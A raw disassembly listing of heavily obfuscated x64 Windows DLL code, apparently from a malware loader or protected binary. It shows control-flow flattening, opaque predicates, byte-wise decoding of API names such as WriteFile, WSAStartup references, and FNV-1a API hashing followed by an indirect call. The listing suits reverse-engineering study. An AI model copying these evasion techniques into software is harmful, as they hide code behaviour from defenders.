mov ecx, eax
jmp 0x180005fb0
mov ecx, 0xfcf4cc8a
jmp 0x180005fb0
mov dword [rbp + 0xe0], 0x65
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8dd9789e
je 0x180006067
cmp ecx, 0xa29e9792
jne 0x180006050
mov ecx, 0x8dd9789e
jmp 0x180006050
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 7
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 8], cl
add rdx, 9
mov qword [rbp + 0xc8], rdx
mov edx, 0x12a7a0c4
jmp 0x180005650
cmp edx, 0xf8158d7f
jne 0x180005650
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call fcn.18000c350
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r10d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r10d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov ecx, 0xe71cb6cf
jmp 0x180006140
mov ecx, 0x18cb5172
mov esi, ecx
cmp ecx, 0xe9e21f4a
jle 0x1800061a0
cmp esi, 0x2cebdf0a
jle 0x1800061f0
cmp esi, 0x553ba0a3
jle 0x1800062a6
cmp esi, 0x5f30b901
jg 0x1800063ad
cmp esi, 0x553ba0a4
je 0x1800064fb
mov ecx, esi
cmp esi, 0x5cf0a5d0
jne 0x180006140
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov ecx, 0xa0e5e177
jmp 0x180006140
cmp esi, 0xb4b5f8a9
jg 0x180006240
cmp esi, 0xacd1a4a1
jle 0x1800062d6
cmp esi, 0xae2d49db
jg 0x18000644e
cmp esi, 0xacd1a4a2
je 0x18000650c
mov ecx, esi
cmp esi, 0xacd9a7e7
jne 0x180006140
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xe0]
jmp 0x180006140
cmp esi, 0x1e9535f
jle 0x180006315
cmp esi, 0x18cb5171
jg 0x180006473
mov ecx, r14d
cmp esi, 0x1e95360
je 0x180006140
mov ecx, esi
cmp esi, 0x7ddfb06
jne 0x180006140
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov ecx, dword [rbp + 0xb4]
jmp 0x180006140
cmp esi, 0xc62339db
jle 0x180006355
cmp esi, 0xd0fc2277
jg 0x18000649a
cmp esi, 0xc62339dc
je 0x180006525
mov ecx, esi
cmp esi, 0xc8c5b29f
jne 0x180006140
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, 0x7ddfb06
jmp 0x180006140
cmp esi, 0x4e6deaad
jle 0x1800064d9
cmp esi, 0x4e6deaae
je 0x18000654d
mov ecx, esi
cmp esi, 0x52a9d8f6
jne 0x180006140
mov ecx, 0x2cebdf0b
jmp 0x180006140
cmp esi, 0x8044d379
je 0x180006557
cmp esi, 0x8063f108
je 0x180006571
mov ecx, esi
cmp esi, 0xa0e5e177
jne 0x180006140
cmp byte [rbp + 0xf7], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x180006140
cmp esi, 0xe9e21f4b
je 0x18000657b
cmp esi, 0xec12727d
je 0x18000613b
mov ecx, esi
cmp esi, 0xffb5b154
jne 0x180006140
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov ecx, 0xc62339dc
jmp 0x180006140
cmp esi, 0xb4b5f8aa
je 0x180006585
cmp esi, 0xbd5aa87e
je 0x18000659e
mov ecx, esi
cmp esi, 0xbf71e338
jne 0x180006140
mov dword [rbp + 0xc8], r15d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x180006140
cmp esi, 0x5f30b902
je 0x1800065af
mov ecx, esi
cmp esi, 0x66a81c96
jne 0x180006140
movsxd r13, r12d
mov rcx, qword [rbp + 0xe8]
mov rsi, rcx
movabs r8, 0x4ad202c4d6352806
and rsi, r8
movabs rdx, 0x300c2021098a5629
or rsi, rdx
movabs rbx, 0xb52dfd3b29cad7f9
and rcx, rbx
xor rcx, rsi
mov rsi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rsi, rdx
mov rdi, r13
xor rdi, r8
movabs rdx, 0x8521dd1a204081d0
xor rcx, rdx
and rcx, rdi
xor r13, rbx
and r13, rsi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov ecx, 0xd0fc2278
jmp 0x180006140
mov ecx, r10d
cmp esi, 0xae2d49dc
je 0x180006140
mov ecx, esi
cmp esi, 0xae32b02c
jne 0x180006140
mov ecx, r9d
jmp 0x180006140
mov ecx, r11d
cmp esi, 0x18cb5172
je 0x180006140
mov ecx, esi
cmp esi, 0x1d57daac
jne 0x180006140
mov ecx, 0x5f30b902
jmp 0x180006140
cmp esi, 0xd0fc2278
je 0x1800065bc
mov ecx, esi
cmp esi, 0xe71cb6cf
jne 0x180006140
movzx ebx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov ecx, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x180006140
cmp esi, 0x2cebdf0b
jne 0x1800065e9
mov ecx, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x180006140
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xb8]
jmp 0x180006140
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov ecx, 0xbd5aa87e
jmp 0x180006140
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x180006140
mov ecx, 0x1e95360
jmp 0x180006140
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov ecx, 0xb4b5f8aa
jmp 0x180006140
mov ecx, 0x553ba0a4
jmp 0x180006140
mov ecx, 0xae32b02c
jmp 0x180006140
cmp byte [rbp + 0xd5], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x180006140
mov ecx, 0xbf71e338
mov r15d, dword [rbp + 0xd8]
jmp 0x180006140
mov ecx, 0xbf71e338
xor r15d, r15d
jmp 0x180006140
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x180006140
mov ecx, esi
cmp esi, 0x3fbb12b4
jne 0x180006140
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov qword [rbp - 0x80], rax
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfdd3af30
mov ecx, 0x9400e1b
cmove eax, ecx
cmp dword [0x1801294fc], 0xa
cmovl eax, ecx
jmp 0x18000b4b7
mov rax, qword [rbp - 0x30]
mov r9, qword [rbp + 0x68]
mov qword [rbp + 0xb8], r9
mov rax, qword [rbp + 0xb8]
mov byte [rax], 3
mov rax, qword [rbp + 0xb8]
add rax, 1
mov qword [rbp + 0xc8], rax
mov byte [rbp + 0xf7], 0x57
mov ecx, 0xb56fd059
mov r11d, 0x2ebcbfed
mov r14d, 0x7137b76c
nop dword [rax]
cmp ecx, 0xb56fd058
jg 0x1800066c0
cmp ecx, 0x87f4fb33
je 0x180007df0
cmp ecx, 0x8fbc6f9e
jne 0x180006680
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0xe8]
mov ecx, 0x8fbc6f9e
mov eax, 0x87f4fb33
cmove ecx, eax
jmp 0x180006680
cmp ecx, 0x1457258
je 0x1800066f9
cmp ecx, 0xb56fd059
jne 0x180006680
movsx eax, byte [rbp + 0xf7]
mov ecx, 0xa8158ed5
nop dword [rax]
cmp ecx, 0xa8158ed5
je 0x1800066f2
cmp ecx, 0xa1a5eae3
jne 0x1800066e0
jmp 0x18000673a
mov ecx, 0xa1a5eae3
jmp 0x1800066e0
mov rax, qword [rbp + 0xc0]
mov cl, byte [rbp + 0xd0]
mov byte [rax], cl
mov r8, qword [rbp + 0xc0]
mov eax, 0xa8158ed5
nop word cs:[rax + rax]
nop
cmp eax, 0xa8158ed5
je 0x180006733
cmp eax, 0xa1a5eae3
jne 0x180006720
jmp 0x1800067d6
mov eax, 0xa1a5eae3
jmp 0x180006720
mov dword [rbp + 0xe0], eax
mov dl, byte [r9]
mov eax, dword [0x180129518]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012951c], 0xa
setl cl
or cl, al
mov edi, 0x86961dc3
cmovne edi, r11d
mov ebx, 0x86961dc3
cmovne ebx, r14d
mov ecx, 0xce4d0f57
nop dword [rax + rax]
cmp ecx, 0xce4d0f56
jle 0x1800067b0
cmp ecx, 0xce4d0f57
je 0x1800067cb
cmp ecx, 0x2ebcbfed
je 0x1800067cf
cmp ecx, 0x7137b76c
jne 0x180006780
mov ecx, edi
jmp 0x180006780
cmp ecx, 0x8502d343
je 0x180006864
cmp ecx, 0x86961dc3
jne 0x180006780
mov ecx, 0x7137b76c
jmp 0x180006780
mov ecx, ebx
jmp 0x180006780
mov ecx, 0x8502d343
jmp 0x180006780
mov dword [rbp + 0xe0], 0x65
mov cl, byte [r9]
mov eax, dword [0x180129518]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x18012951c], 0xa
setl dl
or dl, al
mov edx, 0x86961dc3
cmovne edx, r11d
mov ebx, 0x86961dc3
cmovne ebx, r14d
mov eax, 0xce4d0f57
nop dword [rax + rax]
cmp eax, 0xce4d0f56
jle 0x180006840
cmp eax, 0xce4d0f57
je 0x180006859
cmp eax, 0x2ebcbfed
je 0x18000685d
cmp eax, 0x7137b76c
jne 0x180006820
mov eax, edx
jmp 0x180006820
cmp eax, 0x8502d343
je 0x1800068d7
cmp eax, 0x86961dc3
jne 0x180006820
mov eax, 0x7137b76c
jmp 0x180006820
mov eax, ebx
jmp 0x180006820
mov eax, 0x8502d343
jmp 0x180006820
mov byte [rbp + 0xd8], dl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov edx, ecx
xor edx, 0xd9
mov ebx, eax
and ebx, 0xffffffd9
or ebx, 0x41080202
and eax, 0x26
xor eax, ebx
mov ebx, eax
xor ebx, 0xdb
xor ecx, 0x26
and ecx, ebx
xor eax, 0x24
and eax, edx
or eax, ecx
mov rcx, qword [rbp + 0xc8]
mov byte [rcx], al
mov r10, qword [rbp + 0xc8]
mov eax, 0xa8158ed5
nop dword [rax + rax]
cmp eax, 0xa8158ed5
je 0x1800068d0
cmp eax, 0xa1a5eae3
jne 0x1800068c0
jmp 0x18000693a
mov eax, 0xa1a5eae3
jmp 0x1800068c0
mov byte [rbp + 0xd8], cl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov edx, ecx
xor edx, 0xd9
mov ebx, eax
and ebx, 0xffffffd9
or ebx, 0x41080202
and eax, 0x26
xor eax, ebx
mov ebx, eax
xor ebx, 0xdb
xor ecx, 0x26
and ecx, ebx
xor eax, 0x24
and eax, edx
or eax, ecx
mov byte [r8 + 1], al
add r8, 2
mov rax, qword [rbp + 0xb8]
add rax, 0xb
mov qword [rbp + 0xe8], rax
mov ecx, 0x8fbc6f9e
jmp 0x180006680
mov dword [rbp + 0xe0], WSAStartup
mov bl, byte [r9]
mov eax, dword [0x180129518]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012951c], 0xa
setl cl
or cl, al
mov esi, 0x86961dc3
cmovne esi, r11d
mov edi, 0x86961dc3
cmovne edi, r14d
mov ecx, 0xce4d0f57
nop dword [rax]
cmp ecx, 0xce4d0f56
jle 0x1800069b0
cmp ecx, 0xce4d0f57
je 0x1800069c7
cmp ecx, 0x2ebcbfed
je 0x1800069cb
cmp ecx, 0x7137b76c
jne 0x180006980
mov ecx, esi
jmp 0x180006980
cmp ecx, 0x8502d343
je 0x1800069d2
cmp ecx, 0x86961dc3
jne 0x180006980
mov ecx, 0x7137b76c
jmp 0x180006980
mov ecx, edi
jmp 0x180006980
mov ecx, 0x8502d343
jmp 0x180006980
mov byte [rbp + 0xd8], bl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov edx, ecx
xor edx, 0xd9
mov ebx, eax
and ebx, 0xffffffd9
or ebx, 0x41080202
and eax, 0x26
xor eax, ebx
mov ebx, eax
xor ebx, 0xdb
xor ecx, 0x26
and ecx, ebx
xor eax, 0x24
and eax, edx
or eax, ecx
mov byte [r10 + 1], al
mov eax, 0xa8158ed5
nop word [rax + rax]
cmp eax, 0xa8158ed5
je 0x180006a30
cmp eax, 0xa1a5eae3
jne 0x180006a20
jmp 0x180006a37
mov eax, 0xa1a5eae3
jmp 0x180006a20
mov dword [rbp + 0xe0], 0x69
mov bl, byte [r9]
mov eax, dword [0x180129518]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012951c], 0xa
setl cl
or cl, al
mov esi, 0x86961dc3
cmovne esi, r11d
mov edi, 0x86961dc3
cmovne edi, r14d
mov ecx, 0xce4d0f57
nop dword [rax]
cmp ecx, 0xce4d0f56
jle 0x180006ab0
cmp ecx, 0xce4d0f57
je 0x180006ac7
cmp ecx, 0x2ebcbfed
je 0x180006acb
cmp ecx, 0x7137b76c
jne 0x180006a80
mov ecx, esi
jmp 0x180006a80
cmp ecx, 0x8502d343
je 0x180006ad2
cmp ecx, 0x86961dc3
jne 0x180006a80
mov ecx, 0x7137b76c
jmp 0x180006a80
mov ecx, edi
jmp 0x180006a80
mov ecx, 0x8502d343
jmp 0x180006a80
mov byte [rbp + 0xd8], bl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov edx, ecx
xor edx, 0xd9
mov ebx, eax
and ebx, 0xffffffd9
or ebx, 0x41080202
and eax, 0x26
xor eax, ebx
mov ebx, eax
xor ebx, 0xdb
xor ecx, 0x26
and ecx, ebx
xor eax, 0x24
and eax, edx
or eax, ecx
mov byte [r10 + 2], al
mov eax, 0xa8158ed5
nop word [rax + rax]
cmp eax, 0xa8158ed5
je 0x180006b30
cmp eax, 0xa1a5eae3
jne 0x180006b20
jmp 0x180006b37
mov eax, 0xa1a5eae3
jmp 0x180006b20
mov dword [rbp + 0xe0], 0x74
mov bl, byte [r9]
mov eax, dword [0x180129518]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012951c], 0xa
setl cl
or cl, al
mov esi, 0x86961dc3
cmovne esi, r11d
mov edi, 0x86961dc3
cmovne edi, r14d
mov ecx, 0xce4d0f57
nop dword [rax]
cmp ecx, 0xce4d0f56
jle 0x180006bb0
cmp ecx, 0xce4d0f57
je 0x180006bc7
cmp ecx, 0x2ebcbfed
je 0x180006bcb
cmp ecx, 0x7137b76c
jne 0x180006b80
mov ecx, esi
jmp 0x180006b80
cmp ecx, 0x8502d343
je 0x180006bd2
cmp ecx, 0x86961dc3
jne 0x180006b80
mov ecx, 0x7137b76c
jmp 0x180006b80
mov ecx, edi
jmp 0x180006b80
mov ecx, 0x8502d343
jmp 0x180006b80
mov byte [rbp + 0xd8], bl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov edx, ecx
xor edx, 0xd9
mov ebx, eax
and ebx, 0xffffffd9
or ebx, 0x41080202
and eax, 0x26
xor eax, ebx
mov ebx, eax
xor ebx, 0xdb
xor ecx, 0x26
and ecx, ebx
xor eax, 0x24
and eax, edx
or eax, ecx
mov byte [r10 + 3], al
mov eax, 0xa8158ed5
nop word [rax + rax]
cmp eax, 0xa8158ed5
je 0x180006c30
cmp eax, 0xa1a5eae3
jne 0x180006c20
jmp 0x180006c37
mov eax, 0xa1a5eae3
jmp 0x180006c20
mov dword [rbp + 0xe0], 0x65
mov cl, byte [r9]
mov eax, dword [0x180129518]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x18012951c], 0xa
setl dl
or dl, al
mov edx, 0x86961dc3
cmovne edx, r11d
mov edi, 0x86961dc3
cmovne edi, r14d
mov ebx, 0xce4d0f57
nop dword [rax]
cmp ebx, 0xce4d0f56
jle 0x180006cb0
cmp ebx, 0xce4d0f57
je 0x180006cc7
cmp ebx, 0x2ebcbfed
je 0x180006ccb
cmp ebx, 0x7137b76c
jne 0x180006c80
mov ebx, edx
jmp 0x180006c80
cmp ebx, 0x8502d343
je 0x180006cd2
cmp ebx, 0x86961dc3
jne 0x180006c80
mov ebx, 0x7137b76c
jmp 0x180006c80
mov ebx, edi
jmp 0x180006c80
mov ebx, 0x8502d343
jmp 0x180006c80
mov byte [rbp + 0xd8], cl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov ebx, ecx
xor ebx, 0xd9
mov esi, eax
and esi, 0xffffffd9
or esi, 0x41080202
and eax, 0x26
xor eax, esi
mov esi, eax
xor esi, 0xdb
xor ecx, 0x26
and ecx, esi
xor eax, 0x24
and eax, ebx
or eax, ecx
mov byte [r10 + 4], al
mov eax, 0xa8158ed5
nop word [rax + rax]
cmp eax, 0xa8158ed5
je 0x180006d30
cmp eax, 0xa1a5eae3
jne 0x180006d20
jmp 0x180006d37
mov eax, 0xa1a5eae3
jmp 0x180006d20
mov dword [rbp + 0xe0], 0x46
mov cl, byte [r9]
mov esi, 0xce4d0f57
nop dword [rax]
cmp esi, 0xce4d0f56
jle 0x180006d80
cmp esi, 0xce4d0f57
je 0x180006d97
cmp esi, 0x2ebcbfed
je 0x180006d9b
cmp esi, 0x7137b76c
jne 0x180006d50
mov esi, edx
jmp 0x180006d50
cmp esi, 0x8502d343
je 0x180006da2
cmp esi, 0x86961dc3
jne 0x180006d50
mov esi, 0x7137b76c
jmp 0x180006d50
mov esi, edi
jmp 0x180006d50
mov esi, 0x8502d343
jmp 0x180006d50
mov byte [rbp + 0xd8], cl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov ebx, ecx
xor ebx, 0xd9
mov esi, eax
and esi, 0xffffffd9
or esi, 0x41080202
and eax, 0x26
xor eax, esi
mov esi, eax
xor esi, 0xdb
xor ecx, 0x26
and ecx, esi
xor eax, 0x24
and eax, ebx
or eax, ecx
mov byte [r10 + 5], al
mov eax, 0xa8158ed5
nop word [rax + rax]
cmp eax, 0xa8158ed5
je 0x180006e00
cmp eax, 0xa1a5eae3
jne 0x180006df0
jmp 0x180006e07
mov eax, 0xa1a5eae3
jmp 0x180006df0
mov dword [rbp + 0xe0], 0x69
mov cl, byte [r9]
mov eax, 0xce4d0f57
nop dword [rax]
cmp eax, 0xce4d0f56
jle 0x180006e40
cmp eax, 0xce4d0f57
je 0x180006e55
cmp eax, 0x2ebcbfed
je 0x180006e59
cmp eax, 0x7137b76c
jne 0x180006e20
mov eax, edx
jmp 0x180006e20
cmp eax, 0x8502d343
je 0x180006e60
cmp eax, 0x86961dc3
jne 0x180006e20
mov eax, 0x7137b76c
jmp 0x180006e20
mov eax, edi
jmp 0x180006e20
mov eax, 0x8502d343
jmp 0x180006e20
mov byte [rbp + 0xd8], cl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov ebx, ecx
xor ebx, 0xd9
mov esi, eax
and esi, 0xffffffd9
or esi, 0x41080202
and eax, 0x26
xor eax, esi
mov esi, eax
xor esi, 0xdb
xor ecx, 0x26
and ecx, esi
xor eax, 0x24
and eax, ebx
or eax, ecx
mov byte [r10 + 6], al
add r10, 7
mov qword [rbp + 0xc0], r10
mov eax, 0xa8158ed5
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xa8158ed5
je 0x180006ed0
cmp eax, 0xa1a5eae3
jne 0x180006ec0
jmp 0x180006ed7
mov eax, 0xa1a5eae3
jmp 0x180006ec0
mov dword [rbp + 0xe0], WSAStartup
mov cl, byte [r9]
mov eax, 0xce4d0f57
nop dword [rax]
cmp eax, 0xce4d0f56
jle 0x180006f10
cmp eax, 0xce4d0f57
je 0x180006f25
cmp eax, 0x2ebcbfed
je 0x180006f29
cmp eax, 0x7137b76c
jne 0x180006ef0
mov eax, edx
jmp 0x180006ef0
cmp eax, 0x8502d343
je 0x180006f30
cmp eax, 0x86961dc3
jne 0x180006ef0
mov eax, 0x7137b76c
jmp 0x180006ef0
mov eax, edi
jmp 0x180006ef0
mov eax, 0x8502d343
jmp 0x180006ef0
mov byte [rbp + 0xd8], cl
movzx eax, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
mov edx, ecx
xor edx, 0xd9
mov ebx, eax
and ebx, 0xffffffd9
or ebx, 0x41080202
and eax, 0x26
xor eax, ebx
mov ebx, eax
xor ebx, 0xdb
xor ecx, 0x26
and ecx, ebx
xor eax, 0x24
and eax, edx
or eax, ecx
mov byte [rbp + 0xd0], al
mov ecx, 0x1457258
jmp 0x180006680
mov rax, qword [rbp + 0x50]
mov r14, qword [rbp + 0x50]
mov qword [rbp + 0xe0], r14
mov rax, qword [rbp + 0xe0]
mov byte [rax], 0x29
mov rsi, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, r14
mov dl, 0x44
call fcn.18001d090
add rsp, 0x20
mov byte [rsi + 1], al
add rsi, 2
mov qword [rbp + 0xb8], rsi
mov byte [rbp + 0xd0], 0x65
mov eax, 0xa52e6f42
nop dword [rax + rax]
cmp eax, 0x23f241a9
jle 0x180007000
cmp eax, 0x7335b73a
jg 0x180007040
cmp eax, 0x23f241aa
je 0x180007076
cmp eax, 0x4077231d
jne 0x180006fd0
jmp 0x1800083cc
cmp eax, 0xa52e6f42
je 0x180007141
cmp eax, 0xd11009fc
je 0x180007199
cmp eax, 0x20c4d8ee
jne 0x180006fd0
mov eax, dword [0x180129520]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23f241aa
mov ecx, 0xd11009fc
jmp 0x180007289
cmp eax, 0x7335b73b
je 0x18000729b
cmp eax, 0x76327358
jne 0x180006fd0
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rbp + 0xe8]
mov eax, 0x76327358
mov ecx, 0x4077231d
cmove eax, ecx
jmp 0x180006fd0
movzx edx, byte [rbp + 0xd8]
sub rsp, 0x20
mov rcx, r14
call fcn.18001d090
add rsp, 0x20
mov rcx, qword [rbp + 0xc8]
mov byte [rcx], al
mov rdi, qword [rbp + 0xc8]
sub rsp, 0x20
mov rcx, r14
mov dl, 0x74
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x65
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x46
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x69
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x6c
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x65
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x57
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 7], al
mov rax, qword [rbp + 0xe0]
mov eax, 0xd11009fc
jmp 0x180006fd0
movzx edx, byte [rbp + 0xd0]
sub rsp, 0x20
mov rcx, r14
call fcn.18001d090
add rsp, 0x20
mov rcx, qword [rbp + 0xb8]
mov byte [rcx], al
mov rdi, qword [rbp + 0xb8]
sub rsp, 0x20
mov rcx, r14
mov dl, 0x6c
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 1], al
add rdi, 2
mov qword [rbp + 0xc8], rdi
mov byte [rbp + 0xd8], 0x65
mov eax, 0x20c4d8ee
jmp 0x180006fd0
movzx edx, byte [rbp + 0xd8]
sub rsp, 0x20
mov rcx, r14
call fcn.18001d090
add rsp, 0x20
mov rcx, qword [rbp + 0xc8]
mov byte [rcx], al
mov rdi, qword [rbp + 0xc8]
sub rsp, 0x20
mov rcx, r14
mov dl, 0x74
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x65
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x46
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x69
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x6c
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x65
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov rcx, r14
mov dl, 0x57
call fcn.18001d090
add rsp, 0x20
mov byte [rdi + 7], al
add rdi, 8
mov qword [rbp + 0xc0], rdi
mov rax, qword [rbp + 0xe0]
add rax, 0xd
mov qword [rbp + 0xe8], rax
mov eax, dword [0x180129520]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23f241aa
mov ecx, 0x7335b73b
cmove eax, ecx
cmp dword [0x180129524], 0xa
cmovl eax, ecx
jmp 0x180006fd0
mov eax, 0x76327358
mov rsi, qword [rbp + 0xc0]
jmp 0x180006fd0
mov eax, 0xa4849ac5
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x10], rcx
jmp 0x1800036a0
mov rcx, qword [rbp + 0x40]
sub rsp, 0x20
call fcn.1800fa898
mov r11d, 0xa2d30736
mov r10d, 0xfcf4cc8a
add rsp, 0x20
mov eax, 0xb3a29a8d
jmp 0x1800036a0
mov eax, dword [rbp + 0x8c]
and eax, 0xfffffffe
mov dword [rbp + 0x2c], eax
mov eax, 0x58226aea
jmp 0x1800036a0
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x78], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x70], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xa0], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x920]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
lea rax, [rbp + 0x120]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
lea rax, [rbp + 0x104]
mov qword [rbp], rax
mov rax, qword [rbp]
lea rax, [rbp + 0xf8]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
sub rsp, 0x20
mov ecx, 0x4000
call fcn.1800fa8cc
add rsp, 0x20
mov qword [rbp + 0x40], rax
mov rcx, qword [rbp + 0x40]
sub rsp, 0x20
mov r8d, 0x4000
mov dl, 0x5f
call fcn.1800fcb10
add rsp, 0x20
mov ecx, 0x65c75385
lea rdi, [rbp + 0x108]
nop word [rax + rax]
cmp ecx, 0x1c2b4888
je 0x18000895f
cmp ecx, 0x65c75385
jne 0x180007420
sub rsp, 0x20
mov edx, 0x400
lea rcx, [rbp + 0x920]
mov r8, qword [rbp - 0x58]
call fcn.180108600
add rsp, 0x20
mov ecx, 0x1c2b4888
jmp 0x180007420
mov eax, 0x764a5436
jmp 0x1800036a0
mov eax, 0xcabf83da
mov rcx, qword [rbp - 0x78]
mov qword [rbp + 0x18], rcx
jmp 0x1800036a0
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
add rsp, 0x20
